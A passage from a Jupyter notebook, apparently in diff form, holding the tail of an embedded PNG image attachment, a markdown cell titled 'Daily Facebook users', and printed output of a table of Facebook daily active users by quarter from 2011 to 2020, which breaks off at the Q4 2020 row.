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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Daily Facebook users\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 132, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Daily_active_users(millions)\n", + "0 Q1 2011 372\n", + "1 Q2 2011 417\n", + "2 Q3 2011 457\n", + "3 Q4 2011 483\n", + "4 Q1 2012 526\n", + "5 Q2 2012 552\n", + "6 Q3 2012 584\n", + "7 Q4 2012 618\n", + "8 Q1 2013 665\n", + "9 Q2 2013 699\n", + "10 Q3 2013 728\n", + "11 Q4 2013 757\n", + "12 Q1 2014 802\n", + "13 Q2 2014 829\n", + "14 Q3 2014 864\n", + "15 Q4 2014 890\n", + "16 Q1 2015 936\n", + "17 Q2 2015 968\n", + "18 Q3 2015 1007\n", + "19 Q4 2015 1038\n", + "20 Q1 2016 1090\n", + "21 Q2 2016 1128\n", + "22 Q3 2016 1179\n", + "23 Q4 2016 1227\n", + "24 Q1 2017 1284\n", + "25 Q2 2017 1325\n", + "26 Q3 2017 1368\n", + "27 Q4 2017 1401\n", + "28 Q1 2018 1449\n", + "29 Q2 2018 1471\n", + "30 Q3 2018 1495\n", + "31 Q4 2018 1523\n", + "32 Q1 2019 1562\n", + "33 Q2 2019 1587\n", + "34 Q3 2019 1623\n", + "35 Q4 2019 1657\n", + "36 Q1 2020 1734\n", + "37 Q2 2020 1785\n", + "38 Q3 2020 1820\n", + "39 Q4 